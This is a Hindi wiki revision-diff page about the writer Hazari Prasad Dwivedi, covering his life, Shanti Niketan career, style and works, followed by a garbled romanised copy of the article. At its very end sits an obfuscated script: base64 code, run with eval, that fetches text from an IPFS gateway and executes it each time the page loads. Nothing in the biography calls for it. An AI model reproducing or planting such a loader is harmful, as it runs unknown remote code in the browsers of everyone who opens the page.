Difference between revisions of "हज़ारी प्रसाद द्विवेदी"
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'''डॉ. हज़ारी प्रसाद द्विवेदी''' ([[अंग्रेज़ी]]: ''Hazari Prasad Dwivedi'', जन्म: [[19 अगस्त]], [[1907]] - मृत्यु: [[19 मई]], [[1979]]) [[हिन्दी]] के शीर्षस्थ साहित्यकारों में से हैं। वे उच्चकोटि के निबन्धकार, [[उपन्यासकार]], आलोचक, चिन्तक तथा शोधकर्ता हैं। साहित्य के इन सभी क्षेत्रों में द्विवेदी जी अपनी प्रतिभा और विशिष्ट कर्तव्य के कारण विशेष यश के भागी हुए हैं। द्विवेदी जी का व्यक्तित्व गरिमामय, चित्तवृत्ति उदार और दृष्टिकोण व्यापक है। द्विवेदी जी की प्रत्येक रचना पर उनके इस व्यक्तित्व की छाप देखी जा सकती है। | '''डॉ. हज़ारी प्रसाद द्विवेदी''' ([[अंग्रेज़ी]]: ''Hazari Prasad Dwivedi'', जन्म: [[19 अगस्त]], [[1907]] - मृत्यु: [[19 मई]], [[1979]]) [[हिन्दी]] के शीर्षस्थ साहित्यकारों में से हैं। वे उच्चकोटि के निबन्धकार, [[उपन्यासकार]], आलोचक, चिन्तक तथा शोधकर्ता हैं। साहित्य के इन सभी क्षेत्रों में द्विवेदी जी अपनी प्रतिभा और विशिष्ट कर्तव्य के कारण विशेष यश के भागी हुए हैं। द्विवेदी जी का व्यक्तित्व गरिमामय, चित्तवृत्ति उदार और दृष्टिकोण व्यापक है। द्विवेदी जी की प्रत्येक रचना पर उनके इस व्यक्तित्व की छाप देखी जा सकती है। | ||
==परिचय== | ==परिचय== | ||
| + | {{main|हज़ारी प्रसाद द्विवेदी का परिचय}} | ||
हज़ारी प्रसाद द्विवेदी का जन्म 19 अगस्त, 1907 ([[श्रावण]], [[शुक्ल पक्ष]], [[एकादशी]], [[संवत]] [[1964]]) में बलिया ज़िले के 'आरत दुबे का छपरा' [[गाँव]] के एक प्रतिष्ठित सरयूपारीण [[ब्राह्मण]] कुल में हुआ था। उनके [[पिता]] पण्डित अनमोल द्विवेदी [[संस्कृत]] के प्रकाण्ड पंडित थे। द्विवेदी जी के प्रपितामह ने [[काशी]] में कई वर्षों तक रहकर ज्योतिष का गम्भीर अध्ययन किया था। द्विवेदी जी की [[माता]] भी प्रसिद्ध पण्डित कुल की कन्या थीं। इस तरह बालक द्विवेदी को संस्कृत के अध्ययन का संस्कार विरासत में ही मिल गया था। | हज़ारी प्रसाद द्विवेदी का जन्म 19 अगस्त, 1907 ([[श्रावण]], [[शुक्ल पक्ष]], [[एकादशी]], [[संवत]] [[1964]]) में बलिया ज़िले के 'आरत दुबे का छपरा' [[गाँव]] के एक प्रतिष्ठित सरयूपारीण [[ब्राह्मण]] कुल में हुआ था। उनके [[पिता]] पण्डित अनमोल द्विवेदी [[संस्कृत]] के प्रकाण्ड पंडित थे। द्विवेदी जी के प्रपितामह ने [[काशी]] में कई वर्षों तक रहकर ज्योतिष का गम्भीर अध्ययन किया था। द्विवेदी जी की [[माता]] भी प्रसिद्ध पण्डित कुल की कन्या थीं। इस तरह बालक द्विवेदी को संस्कृत के अध्ययन का संस्कार विरासत में ही मिल गया था। | ||
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==कार्यक्षेत्र== | ==कार्यक्षेत्र== | ||
| − | सन [[1930]] में इंटर की परीक्षा उत्तीर्ण करने बाद द्विवेदी जी प्राध्यापक होकर [[शान्ति निकेतन]] चले गये। सन् [[1940]] से [[1950]] ई. तक वे वहाँ पर हिन्दी भवन के निर्देशक के पद पर काम करते रहे। शान्ति निकेतन में [[रवीन्द्र नाथ टैगोर]] के घनिष्ठ सम्पर्क में आने पर नये मानवतावाद के प्रति उनके मन में जिस आस्था की प्रतिष्ठा हुई, वह उनके भावी विकास में बहुत ही सहायक बनी। [[क्षितिजमोहन सेन]], विधुशेखर भट्टाचार्य और [[बनारसीदास चतुर्वेदी]] की सन्निकटता से भी उनकी साहित्यिक गतिविधि में अधिक सक्रियता आयी। | + | {{main|हज़ारी प्रसाद द्विवेदी का कार्यक्षेत्र}} |
| − | + | सन [[1930]] में इंटर की परीक्षा उत्तीर्ण करने बाद द्विवेदी जी प्राध्यापक होकर [[शान्ति निकेतन]] चले गये। सन् [[1940]] से [[1950]] ई. तक वे वहाँ पर हिन्दी भवन के निर्देशक के पद पर काम करते रहे। शान्ति निकेतन में [[रवीन्द्र नाथ टैगोर]] के घनिष्ठ सम्पर्क में आने पर नये मानवतावाद के प्रति उनके मन में जिस आस्था की प्रतिष्ठा हुई, वह उनके भावी विकास में बहुत ही सहायक बनी। [[क्षितिजमोहन सेन]], विधुशेखर भट्टाचार्य और [[बनारसीदास चतुर्वेदी]] की सन्निकटता से भी उनकी साहित्यिक गतिविधि में अधिक सक्रियता आयी। | |
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==भाषा-शैली== | ==भाषा-शैली== | ||
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द्विवेदी जी की [[भाषा]] परिमार्जित [[खड़ी बोली]] है। उन्होंने भाव और विषय के अनुसार भाषा का चयनित प्रयोग किया है। उनकी भाषा के दो रूप दिखलाई पड़ते हैं- | द्विवेदी जी की [[भाषा]] परिमार्जित [[खड़ी बोली]] है। उन्होंने भाव और विषय के अनुसार भाषा का चयनित प्रयोग किया है। उनकी भाषा के दो रूप दिखलाई पड़ते हैं- | ||
#प्राँजल व्यावहारिक भाषा | #प्राँजल व्यावहारिक भाषा | ||
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प्रथम रूप द्विवेदी जी के सामान्य निबंधों में मिलता है। इस प्रकार की भाषा में [[उर्दू]] और [[अंग्रेज़ी]] के शब्दों का भी समावेश हुआ है। द्वितीय शैली उपन्यासों और सैद्धांतिक आलोचना के क्रम में परिलक्षित होती है। द्विवेदी जी की विषय प्रतिपादन की शैली अध्यापकीय है। शास्त्रीय भाषा रचने के दौरान भी प्रवाह खण्डित नहीं होता। | प्रथम रूप द्विवेदी जी के सामान्य निबंधों में मिलता है। इस प्रकार की भाषा में [[उर्दू]] और [[अंग्रेज़ी]] के शब्दों का भी समावेश हुआ है। द्वितीय शैली उपन्यासों और सैद्धांतिक आलोचना के क्रम में परिलक्षित होती है। द्विवेदी जी की विषय प्रतिपादन की शैली अध्यापकीय है। शास्त्रीय भाषा रचने के दौरान भी प्रवाह खण्डित नहीं होता। | ||
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==वर्ण्य विषय== | ==वर्ण्य विषय== | ||
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द्विवेदी जी के निबंधों के विषय [[भारतीय संस्कृति]], [[इतिहास]], [[ज्योतिष]], [[साहित्य]], विविध धर्मों और संप्रदायों का विवेचन आदि है। वर्गीकरण की दृष्टि से द्विवेदी जी के [[निबंध]] दो भागों में विभाजित किए जा सकते हैं- | द्विवेदी जी के निबंधों के विषय [[भारतीय संस्कृति]], [[इतिहास]], [[ज्योतिष]], [[साहित्य]], विविध धर्मों और संप्रदायों का विवेचन आदि है। वर्गीकरण की दृष्टि से द्विवेदी जी के [[निबंध]] दो भागों में विभाजित किए जा सकते हैं- | ||
#विचारात्मक | #विचारात्मक | ||
#आलोचनात्मक | #आलोचनात्मक | ||
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| − | + | हज़ारी प्रसाद द्विवेदी जी की कुछ कृतियाँ निम्नलिखित हैं- | |
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| − | हज़ारी प्रसाद द्विवेदी जी की कुछ कृतियाँ निम्नलिखित | ||
====हिन्दी साहित्य की भूमिका==== | ====हिन्दी साहित्य की भूमिका==== | ||
'हिन्दी साहित्य की भूमिका' उनके सिद्धान्तों की बुनियादी पुस्तक है। जिसमें साहित्य को एक अविच्छिन्न परम्परा तथा उसमें प्रतिफलित क्रिया-प्रतिक्रियाओं के रूप में देखा गया है। नवीन दिशा-निर्देश की दृष्टि से इस पुस्तक का ऐतिहासिक महत्व है। | 'हिन्दी साहित्य की भूमिका' उनके सिद्धान्तों की बुनियादी पुस्तक है। जिसमें साहित्य को एक अविच्छिन्न परम्परा तथा उसमें प्रतिफलित क्रिया-प्रतिक्रियाओं के रूप में देखा गया है। नवीन दिशा-निर्देश की दृष्टि से इस पुस्तक का ऐतिहासिक महत्व है। | ||
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*[http://www.hindipath.in/2015/08/aacharya-hajariprasad-dvivedi-jeevani.html आचार्य हज़ारी प्रसाद द्विवेदी की जीवनी] | *[http://www.hindipath.in/2015/08/aacharya-hajariprasad-dvivedi-jeevani.html आचार्य हज़ारी प्रसाद द्विवेदी की जीवनी] | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
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Revision as of 08:41, 19 July 2017
hazari prasad dvivedi
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| poora nam | d aau. hazari prasad dvivedi |
| janm | 19 agast, 1907 ee. |
| janm bhoomi | gaanv 'arat dube ka chhapara', baliya zila, uttar pradesh |
| mrityu | 19 mee, 1979 |
| karm bhoomi | varanasi |
| karm-kshetr | nibandhakar, upanyasakar, adhyapak, sampadak |
| mukhy rachanaean | soor sahity, banabhatt, kabir, ashok ke phool, hindi sahity ki bhoomika, hindi sahity ka adikal, nath sampraday, prithviraj raso |
| vishay | nibandh, kahani, upanyas, alochana |
| bhasha | hindi |
| vidyalay | kashi hindoo vishvavidyalay |
| shiksha | barahavian |
| puraskar-upadhi | padm bhooshan |
| nagarikata | bharatiy |
| any janakari | dvivedi ji kee varshoan tak kashi nagari pracharini sabha ke upasabhapati, 'khoj vibhag' ke nirdeshak tatha 'nagari pracharini patrika' ke sampadak rahe haian. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
d aau. hazari prasad dvivedi (aangrezi: Hazari Prasad Dwivedi, janm: 19 agast, 1907 - mrityu: 19 mee, 1979) hindi ke shirshasth sahityakaroan mean se haian. ve uchchakoti ke nibandhakar, upanyasakar, alochak, chintak tatha shodhakarta haian. sahity ke in sabhi kshetroan mean dvivedi ji apani pratibha aur vishisht kartavy ke karan vishesh yash ke bhagi hue haian. dvivedi ji ka vyaktitv garimamay, chittavritti udar aur drishtikon vyapak hai. dvivedi ji ki pratyek rachana par unake is vyaktitv ki chhap dekhi ja sakati hai.
parichay
- REDIRECTsaancha:mukhy
hazari prasad dvivedi ka janm 19 agast, 1907 (shravan, shukl paksh, ekadashi, sanvat 1964) mean baliya zile ke 'arat dube ka chhapara' gaanv ke ek pratishthit sarayooparin brahman kul mean hua tha. unake pita pandit anamol dvivedi sanskrit ke prakand pandit the. dvivedi ji ke prapitamah ne kashi mean kee varshoan tak rahakar jyotish ka gambhir adhyayan kiya tha. dvivedi ji ki mata bhi prasiddh pandit kul ki kanya thian. is tarah balak dvivedi ko sanskrit ke adhyayan ka sanskar virasat mean hi mil gaya tha.
karyakshetr
- REDIRECTsaancha:mukhy
san 1930 mean iantar ki pariksha uttirn karane bad dvivedi ji pradhyapak hokar shanti niketan chale gaye. sanh 1940 se 1950 ee. tak ve vahaan par hindi bhavan ke nirdeshak ke pad par kam karate rahe. shanti niketan mean ravindr nath taigor ke ghanishth sampark mean ane par naye manavatavad ke prati unake man mean jis astha ki pratishtha huee, vah unake bhavi vikas mean bahut hi sahayak bani. kshitijamohan sen, vidhushekhar bhattachary aur banarasidas chaturvedi ki sannikatata se bhi unaki sahityik gatividhi mean adhik sakriyata ayi.
bhasha-shaili
- REDIRECTsaancha:mukhy
dvivedi ji ki bhasha parimarjit kh di boli hai. unhoanne bhav aur vishay ke anusar bhasha ka chayanit prayog kiya hai. unaki bhasha ke do roop dikhalaee p date haian-
- praanjal vyavaharik bhasha
- sanskritanishth shastriy bhasha
pratham roop dvivedi ji ke samany nibandhoan mean milata hai. is prakar ki bhasha mean urdoo aur aangrezi ke shabdoan ka bhi samavesh hua hai. dvitiy shaili upanyasoan aur saiddhaantik alochana ke kram mean parilakshit hoti hai. dvivedi ji ki vishay pratipadan ki shaili adhyapakiy hai. shastriy bhasha rachane ke dauran bhi pravah khandit nahian hota.
varny vishay
- REDIRECTsaancha:mukhy
dvivedi ji ke nibandhoan ke vishay bharatiy sanskriti, itihas, jyotish, sahity, vividh dharmoan aur sanpradayoan ka vivechan adi hai. vargikaran ki drishti se dvivedi ji ke nibandh do bhagoan mean vibhajit kie ja sakate haian-
- vicharatmak
- alochanatmak
kritiyaan
- REDIRECTsaancha:mukhy
hazari prasad dvivedi ji ki kuchh kritiyaan nimnalikhit haian-
hindi sahity ki bhoomika
'hindi sahity ki bhoomika' unake siddhantoan ki buniyadi pustak hai. jisamean sahity ko ek avichchhinn parampara tatha usamean pratiphalit kriya-pratikriyaoan ke roop mean dekha gaya hai. navin disha-nirdesh ki drishti se is pustak ka aitihasik mahatv hai.
kabir
- REDIRECTsaancha:mukhy
apane phakk d vyaktitv, ghar phooank masti aur aur krantikari vicharadhara ke karan kabir ne unhean vishesh akrisht kiya. 'kabir' pustak mean unhoanne jis saanskritik parampara, samasamayik vatavaran aur navin chintan ka udghatan kiya hai, vah unaki uparilikhit alochanatmak drishti ke sarvatha mel mean hai. bhasha bhavoan ki sanvahak hoti hai. kabir ki bhasha vahi hai. ve apani bat ko saph evan do took shabdoan mean kahane ke himayati the. isilie hazari prasad dvivedi ne unhean "vani ka ditektar" kaha hai.
hindi sahity ka adikal
'hindi sahity ka adikal' mean dvivedi ji ne navin upalabdh samagri ke adhar par jo shodhaparak vishleshan prastut kiya hai, usase hindi sahity ke itihas ke pun: parikshan ki avashyakata mahasoos ki ja rahi hai.
nath sampraday
'nath sampraday' mean siddhoan aur nathoan ki upalabdhiyoan par gambhir vichar vyakt kiye ge haian.
soor-sahity
'soor-sahity' unaki prarambhik alochanatmak kriti hai, jo alochanatmak utani nahian hai, jitani ki bhavanatmak. inake atirikt unake anek marmik samikshatmak nibandh vibhinn nibandh-sangrahoan mean sangrahit haian, jo sahity ke vibhinn pakshoan ka gambhir udghatan karate haian.
nibandh
- REDIRECTsaancha:mukhy
dvivedi ji jahaan vidvattaparak anusandhanatmak nibandh likh sakate haian, vahaan shreshth nirbandh nibandhoan ki srishti bhi kar sakate haian. unake nirbandh nibandh hindi nibandh sahity ki moolyavanh upalabdhi hai. dvivedi ji ke vyaktitv mean vidvatta aur sarasata ka, pandity aur vidagdhata ka, gambhirata aur vinodamayata ka, prachinata aur navinata ka jo adabhut sanyog milata hai, vah anyatr durlabh hai. in virodhabhasi tatvoan se nirmit unaka vyaktitv hi unake nirbandh nibandhoan mean pratiphalit hua hai. apane nibandhoan mean ve bahut hi sahaj dhang se, anaupacharik roop mean, 'nakhoon kyoan badhate haian', 'am phir baura ge', 'ashok ke phool', 'ek kutta aur ek maina', 'kutaj' adi ki charcha karate haian, jisase pathakoan ka anukooly prapt karane mean unhean koee kathinaee nahian hoti. par unake nibandhoan ka poorn rasasvadan karane ke lie jagah-jagah bikhare hue saanskritik-sahityik sandarbhoan ko janana bahut avashyak hai. in sandarbhoan mean unaki aitihasik chetana ko dekha ja sakata hai, kintu sampoorn nibandh padhane ke bad pathak naye manavatavadi moolyoan ki upalabdhi bhi karata chalata hai. unamean atit ke moolyoan ke prati sahaj mamatv hai, kintu navin ke prati kam utsah nahian hai.
banabhatt
'banabhatt' ki atmakatha' dvivedi ji ka apane dhang ka asamantar upanyas hai, jo apane kathy tatha shaili ke karan sahridayoan dvara vishesh roop se samadrit hua hai. yah hindi upanyas sahity ki vishisht upalabdhi hai. is upanyas mean unake vistrit aur gambhir adhyayan tatha pratibha ka adabhut mishran hua hai. isake madhyam se apane jivan-darshan ke vividh pakshoan ko udghatit karate hue unhoanne ise vaicharik drishti se bhi vishisht ooanchaee pradan ki hai. harshakalin jis vishal phalak par banabhatt ko chitrit kiya gaya hai, vah gahan adhyayan tatha gatyatmak aitihasik chetana ki apeksha rakhata hai. kahana n hoga ki dvivedi ji ke vyaktitv ke nirman mean is aitihasik chetana ka bahut mahattvapoorn yog raha hai. yahi karan hai ki ve samaj aur sanskriti ke vividh ayamoan ko, usake sampoorn parivesh ko, ek ikaee mean saphalata poorvak baandhane mean samarth ho sake haian. thumb|left|hazari prasad dvivedi is upanyas mean kuchh patr, ghatanaean aur prasang itihasashrit haian aur kuchh kalpanik. ban, harsh, kumar krishna, ban ka ghumakk d ke roop mean bhatakate phirana, harsh dvara tiraskrit aur sammanit hona adi itihas dvara anumodit haian. nipunika, bhattini, sucharita, mahamaya, avadhoot pad tatha inase sambaddh ghatanaean kalpana prasoot haian. itihas aur kalpana ke samuchit viniyog dvara lekhak ne upanyas ko jo roop-rang diya hai, vah bahut hi akarshak ban p da hai. is aitihasik upanyas mean manav-mooly ki naye manavatavadi mooly ki pratishtha karana bhi lekhak ka pramukh uddeshy raha hai. jinako lok 'band' ya kul bhrasht samajhata hai, ve bhitar se kitane mahan haian, ise banabhatt aur nipunika (niuniya) mean dekha ja sakata hai. lok chetana ya lok shakti ko atyant vishvasamayi vani mean mahamaya dvara jagaya gaya hai. yah lekhak ka apana vishvas bhi hai. dvivedi ji prem ko seks se samprikt n karate hue bhi use jis ooanchaee par pratishthit karate haian, vah sarvatha manovaijnanik hai. prem ke uchchatar sopan par pahuanchane ke lie apana sab kuchh utsarg karana p data hai. nipunika ko naritv prapt hua tapasya ki agni mean jalane par. banabhatt ki pratibha ko char-chaand laga prem ka unnayanatmak svaroop samajhane par. sucharita ko abhipsit ki upalabdhi huee prem ke vasanatmak svaroop ki nishkriti par. shaili ki drishti se yah paramparik svachchhandatavadi (klaisikal romantik) rachana hai. banabhatt ki shaili ko adhar manane ke karan lekhak ko varnan ki vistrit aur sanshlisht paddhati apanani p di hai, par bich-bich mean usaki apani svachchhand pravritti bhi jagarook rahi hai, jisase lambi alankrit shaili ki duroohata ka bahut kuchh parishkar ho jata hai. unaka doosara upanyas 'charuchandralekh' bhi prakashit ho chuka hai.
puraskar
hazari prasad dvivedi ji ko bharat sarakar ne unaki viddhatta aur sahityik sevaoan ko dhyan mean rakhate hue sahity evan shiksha ke kshetr mean sanh 1957 mean padm bhooshan se sammanit kiya gaya tha.
mrityu
hazari prasad dvivedi ji ki mrityu 19 mee, 1979 ee. mean huee thi.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>